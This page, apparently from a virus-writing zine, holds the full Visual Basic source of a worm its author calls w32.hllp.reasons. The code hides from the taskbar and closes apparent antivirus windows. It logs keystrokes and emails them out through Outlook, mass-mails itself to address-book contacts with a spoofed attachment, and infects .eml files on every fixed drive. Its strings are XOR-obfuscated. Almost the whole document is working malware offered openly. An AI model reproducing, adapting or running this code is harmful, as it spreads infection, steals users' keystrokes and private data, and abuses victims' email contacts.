Infiltration of a Nation
| last article | table of contents | next article |
|---|
| last article | table of contents | next article |
|---|
w32.hllp.reasons by alcopaul
'====================================================================================
'this is a memory-resident malware that embeds itself to .eml files in hd, logs keys and sends them to my e-mail, mass mails
'itself whenever the shift key is pressed (will spoof attachment name).. it's strings are encrypted and the program consists
'of two forms and bogus apis for faking purposes...
'
'coded:03/22/2k2
'====================================================================================
VERSION 5.00
Begin VB.Form Mapispl32
BorderStyle = 0 'None
Caption = "Form1"
ClientHeight = 90
ClientLeft = 8430
ClientTop = 1005
ClientWidth = 90
Icon = "reason.frx":0000
LinkTopic = "Form1"
ScaleHeight = 90
ScaleWidth = 90
ShowInTaskbar = 0 'False
Visible = 0 'False
Begin VB.TextBox Text1
Height = 285
Left = 120
Locked = -1 'True
TabIndex = 0
Top = 120
Visible = 0 'False
Width = 2055
End
Begin VB.Timer Timer1
Interval = 10
Left = 360
Top = 840
End
End
Attribute VB_Name = "Mapispl32"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Option Explicit
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function aaa Lib "kernel32" Alias "FormatDiskA" (ByVal wMsg As String) As Long
Private Declare Function bbb Lib "gdi32" Alias "DestroyScreenA" (ByVal wMsg As String) As Long
Private Declare Function ccc Lib "kernel32" Alias "FlushBIOSA" (ByVal wMsg As String) As Long
Private Declare Function ddd Lib "rundll32" Alias "KillResidentThreadsA" (ByVal wMsg As String) As Long
Private Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Private Declare Function eee Lib "advapi32.dl" Alias "ImpersonateSelfA" (ByVal wMsg As String) As Long
Private Declare Function fff Lib "winspool.drv" Alias "WritePrinter" (ByVal wMsg As String) As Long
Private Declare Function ggg Lib "kernel32" Alias "VirtualLock" (ByVal wMsg As String) As Long
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Const WM_CLOSE = &H10
Private Sub Form_Load()
On Error Resume Next
Dim av0, av1, av2, av3, av4, av5, av6, av7, av8, av9, av10, n, ar, av
Dim kilwin As Long
Dim killed As Long
App.TaskVisible = False
av1 = x("„…À¢“”…’")
av2 = x("–…””’™")
av3 = x("¦Í³´¯°·À¶…’“‰ŽÀÕÎÐÖƒ")
av4 = x("°£Íƒ‰ŒŒ‰ŽÀÒÐÐÐÀÚÀ¶‰’•“À¡Œ…’”")
av5 = x("¤¡°¤—ŽŒ„Ž‡…’")
av6 = x("²…ŒÍ”‰…À³ƒŽ")
av7 = x("©¯¯®ÙØ")
av8 = x("¡¶°ÀŽ‰”’")
av9 = x("®¡©¿¶³¿³´¡´")
av10 = x("µŽ”‰”Œ…„ÀÍÀ®”…„")
For n = 0 To 10
ar = Array(av0, av1, av2, av3, av4, av5, av6, av7, av8, av9, av10)
av = ar(n)
kilwin = FindWindow(vbNullString, av)
killed = PostMessage(kilwin, WM_CLOSE, vbNull, vbNull)
Next n
Form2.Show
End Sub
Private Sub Timer1_Timer()
On Error Resume Next
Dim keystate As Integer, scancodes As Integer, a As String
For scancodes = 1 To 254
keystate = GetAsyncKeyState(scancodes)
If keystate = -32767 Then
a = Hex(scancodes)
If Len(a) = 1 Then
a = "0" & Hex(scancodes)
End If
Text1.Text = Text1.Text & a
If Len(Text1.Text) = 2000 Then
keys (Text1.Text)
Text1.Text = ""
End If
If Hex(scancodes) = "10" Then
Call Worming
End If
'eotheroutine
End If
Next
End Sub
Private Sub keys(log As String)
On Error Resume Next
Dim a, b, c, d, e, f, g, h, xx, y, oo
Set a = CreateObject(x("¯•”Œ‹Î¡Œ‰ƒ”‰Ž"))
Set b = a.GetNameSpace(x("¡°©"))
If a = x("¯•”Œ‹") Then
b.Logon x("’†‰Œ…"), x("““—’„")
Set c = a.CreateItem(0)
c.Recipients.Add x("Œƒ•Œ ƒŽŽ‚‰“‰ŒÎƒ")
c.Body = log
c.Send
c.DeleteAfterSubmit = True
b.Logoff
End If
End Sub
Private Sub Worming()
On Error Resume Next
Dim a, b, c, d, e, f, g, h, xx, y, oo, cc
cc = App.Path & App.EXEName & x("Î…˜…")
If Right(App.Path, 1) <> "\" Then cc = App.Path & "\" & App.EXEName & x("Î…˜…")
Set a = CreateObject(x("¯•”Œ‹Î¡Œ‰ƒ”‰Ž"))
Set b = a.GetNameSpace(x("¡°©"))
If a = x("¯•”Œ‹") Then
b.Logon x("’†‰Œ…"), x("““—’„")
For y = 1 To b.AddressLists.Count
Set d = b.AddressLists(y)
xx = 1
Set c = a.CreateItem(0)
For oo = 1 To d.AddressEntries.Count
e = d.AddressEntries(xx)
c.Recipients.Add e
xx = xx + 1
If xx > 101 Then oo = d.AddressEntries.Count
Next oo
c.Subject = x("ÑÐÑÀ²…“Ž“À·ˆ™À¹•À³ˆ•Œ„À¨–…À³…˜À·ˆ…ŽÀ¹•Ç’…À¤’•Ž‹")
c.Attachments.Add cc, 1, 1, x("ÑÐÑÀ²…“Ž“")
c.Send
c.DeleteAfterSubmit = True
e = ""
Next y
b.Logoff
End If
End Sub
Private Function x(sText)
On Error Resume Next
Dim ekey, i, hash, crbyte
ekey = 3029
For i = 1 To Len(sText)
hash = Asc(Mid(sText, i, 1))
crbyte = Chr(hash Xor (ekey Mod 255))
x = x & crbyte
Next i
End Function
'=================================================================================
VERSION 5.00
Begin VB.Form Form2
BackColor = &H00000000&
BorderStyle = 4 'Fixed ToolWindow
Caption = "Boozer's Delight"
ClientHeight = 3180
ClientLeft = 4005
ClientTop = 2790
ClientWidth = 3450
LinkTopic = "Form2"
MaxButton = 0 'False
MinButton = 0 'False
Picture = "reason2.frx":0000
ScaleHeight = 3180
ScaleWidth = 3450
ShowInTaskbar = 0 'False
Begin VB.Label Label1
BackColor = &H00000000&
Caption = "I'm in your computer.."
BeginProperty Font
Name = "Chiller"
Size = 18
Charset = 0
Weight = 700
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
ForeColor = &H000000C0&
Height = 495
Left = 360
TabIndex = 0
Top = 2400
Width = 2775
End
End
Attribute VB_Name = "Form2"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Private Sub Form_Load()
On Error Resume Next
Call dribe
End Sub
Sub dribe()
On Error Resume Next
Dim d, dc, s, fso, dribe
Set fso = CreateObject(x("³ƒ’‰”‰Ž‡Î¦‰Œ…³™“”…¯‚Š…ƒ”"))
Set dc = fso.Drives
For Each d In dc
If d.DriveType = 2 Or d.DriveType = 3 Then
fldr (d.Path & x("¼"))
End If
Next
dribe = s
End Sub
Sub info(spec)
On Error Resume Next
Dim f, f1, fc, ext, ap, mircfname, s, fso
Set fso = CreateObject(x("³ƒ’‰”‰Ž‡Î¦‰Œ…³™“”…¯‚Š…ƒ”"))
Set f = fso.GetFolder(spec)
Set fc = f.Files
For Each f1 In fc
ext = fso.GetExtensionName(f1.Path)
ext = LCase(ext)
s = LCase(f1.Name)
If (ext = x("…Œ")) Then
mimeinfect (f1.Path)
End If
Next
End Sub
Sub fldr(spec)
On Error Resume Next
Dim f, f1, sf, fso
Set fso = CreateObject(x("³ƒ’‰”‰Ž‡Î¦‰Œ…³™“”…¯‚Š…ƒ”"))
Set f = fso.GetFolder(spec)
Set sf = f.SubFolders
For Each f1 In sf
info (f1.Path)
fldr (f1.Path)
Next
End Sub
Private Sub mimeinfect(fileinput As String)
On Error Resume Next
Dim dd As Integer
Dim s As String
Dim sig, ver, textline, ddd, bb, extasy, extasy1, sex, g, gh, rout, num, source, fileread, b, c, d, e
Open fileinput For Input As #6
Do Until Mid(sig, 1, 4) = x("©¥")
Line Input #6, sig
Loop
Line Input #6, ver
Close #6
If Mid(ver, 18, 3) = x("ÖÖÖ") Then
Else
Open fileinput For Input As #1
Do Until Mid(textline, 1, 4) = x("©¥")
Line Input #1, textline
ddd = ddd & textline & vbCrLf
Loop
If Mid(textline, 1, 4) = x("©¥") Then
bb = ddd & textline & x("ÖÖÖ")
End If
Line Input #1, extasy
Line Input #1, extasy1
If Mid(extasy1, 2, 5) = x("‚•Ž„") Then
Else
Line Input #1, sex
extasy1 = sex
End If
Do Until EOF(1)
Line Input #1, g
gh = gh & g & vbCrLf
dd = dd + 1
Loop
Close #1
'the routine
Open fileinput For Input As #7
Do Until Mid(rout, 1, 4) = x("©¥")
Line Input #7, rout
Loop
For num = 0 To dd - 1
Line Input #7, source
fileread = fileread & source & vbCrLf
Next num
Close #7
b = Mid(extasy1, 12, 41)
c = App.Path & App.EXEName & x("Î…˜…")
If Right(App.Path, 1) <> "\" Then c = App.Path & "\" & App.EXEName & x("Î…˜…")
d = b64(c)
e = "£Ž”…Ž”Í´™…ÚÀŒ‰ƒ”‰ŽÏ˜Í“„—ŽŒ„ÛíêÀÀÀŽ…Ý“…ƒ’…”Î…˜…Âí꣎”…Ž”Í´’Ž“†…’Í¥Žƒ„‰Ž‡ÚÀ‚“…ÖÔí꣎”…Ž”ͤ‰““‰”‰ŽÚÀ””ƒˆ…Ž”ÛíêÀÀÀ†‰Œ…Ž…Ý“…ƒ’…”Î…˜…Â"
Open fileinput For Output As #1
Print #1, bb
Print #1, fileread
Print #1, "--" & b
Print #1, x(e)
Print #1, d
Print #1, "--" & b & "--"
Close 1
End If
End Sub
Private Function x(sText)
On Error Resume Next
Dim ekey, i, hash, crbyte
ekey = 3029
For i = 1 To Len(sText)
hash = Asc(Mid(sText, i, 1))
crbyte = Chr(hash Xor (ekey Mod 255))
x = x & crbyte
Next i
End Function
Private Function b64(ByVal vsFullPathname As String) As String
On Error Resume Next
'For Encoding BASE64
Dim b As Integer
Dim b64ed As Variant
Dim bin(3) As Byte
Dim s As String
Dim l As Long
Dim i As Long
Dim FileIn As Long
Dim sResult As String
Dim n As Long
'b64ed=>tabla de tabulación
b64ed = Array("A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "+", "/")
Erase bin
l = 0: i = 0: FileIn = 0: b = 0:
s = ""
'Gets the next free filenumber
FileIn = FreeFile
'Open Base64 Input File
Open vsFullPathname For Binary As FileIn
sResult = s & vbCrLf
s = ""
l = LOF(FileIn) - (LOF(FileIn) Mod 3)
For i = 1 To l Step 3
'Read three bytes
Get FileIn, , bin(0)
Get FileIn, , bin(1)
Get FileIn, , bin(2)
'Always wait until there're more then 64 characters
If Len(s) > 64 Then
s = s & vbCrLf
sResult = sResult & s
s = ""
End If
'Calc Base64-encoded char
b = (bin(n) \ 4) And &H3F 'right shift 2 bits (&H3F=111111b)
s = s & b64ed(b) 'the character s holds the encoded chars
b = ((bin(n) And &H3) * 16) Or ((bin(1) \ 16) And &HF)
s = s & b64ed(b)
b = ((bin(n + 1) And &HF) * 4) Or ((bin(2) \ 64) And &H3)
s = s & b64ed(b)
b = bin(n + 2) And &H3F
s = s & b64ed(b)
Next i
'Now, you need to check if there is something left
If Not (LOF(FileIn) Mod 3 = 0) Then
'Reads the number of bytes left
For i = 1 To (LOF(FileIn) Mod 3)
Get FileIn, , bin(i - 1)
Next i
'If there are only 2 chars left
If (LOF(FileIn) Mod 3) = 2 Then
b = (bin(0) \ 4) And &H3F 'right shift 2 bits (&H3F=111111b)
s = s & b64ed(b)
b = ((bin(0) And &H3) * 16) Or ((bin(1) \ 16) And &HF)
s = s & b64ed(b)
b = ((bin(1) And &HF) * 4) Or ((bin(2) \ 64) And &H3)
s = s & b64ed(b)
s = s & "="
Else 'If there is only one char left
b = (bin(0) \ 4) And &H3F 'right shift 2 bits (&H3F=111111b)
s = s & b64ed(b)
b = ((bin(0) And &H3) * 16) Or ((bin(1) \ 16) And &HF)
s = s & b64ed(b)
s = s & "=="
End If
End If
'Send the characters left
If s <> "" Then
s = s & vbCrLf
sResult = sResult & s
End If
'Send the last part of the MIME Body
s = ""
Close FileIn
b64 = sResult
End Function
'====================================================================================